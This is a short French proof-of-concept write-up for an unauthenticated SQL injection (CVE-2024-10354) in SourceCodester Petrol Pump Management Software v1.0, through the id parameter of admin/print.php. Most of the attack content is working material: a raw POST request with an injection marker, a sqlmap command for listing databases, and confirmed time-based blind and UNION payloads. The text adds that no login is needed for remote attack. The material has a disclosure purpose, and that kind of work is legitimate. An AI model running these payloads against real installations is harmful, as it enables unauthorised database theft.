
Preuve de concept d'exploitation pour CVE-2024-10354 : injection SQL dans SourceCodester Petrol Pump Management Software v1.0. Démontre une injection SQL aveugle basée sur le temps et par requêtes UNION non authentifiée via admin/print.php pour extraire le contenu de la base de données.
Logiciel de gestion de pompe à essence – téléchargement gratuit | SourceCodester
Vulnérabilité d'injection SQL dans le logiciel de gestion de pompe à essence sourcecodester v1.0. Une vulnérabilité classée à haut risque a été découverte, affectant une fonctionnalité inconnue du fichier admin\print.php. Le paramètre id est utilisé pour construire des requêtes SQL malveillantes afin d'obtenir des informations sensibles, causant ainsi des dommages.
admin\print.php

Ici, l'entrée utilisateur $_POST['id'] est concaténée dans la requête SQL, ce qui est manifestement vulnérable aux attaques par injection SQL.

POST /admin/print.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1*
Enregistrez le paquet et utilisez sqlmap pour lancer l'attaque
payload:
python3 sqlmap.py --random-agent --batch -r data.txt --risk 3 --dbs

---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8405 FROM (SELECT(SLEEP(5)))RBvx) AND 'WWQR'='WWQR
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706271,0x744d4a644a516944425443614f4c594948754b4a746356615251435951444f72597a74534274424a,0x71706a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
En examinant le paquet, je n'ai pas ajouté de valeur de cookie, ce qui indique qu'aucune authentification n'est requise : il n'est pas nécessaire de se connecter pour lancer des attaques à distance.
Vous pouvez voir que ce payload utilise deux méthodes d'injection, l'aveugle basée sur le temps (time-based blind) et la requête UNION, et parvient à injecter le nom de la base de données.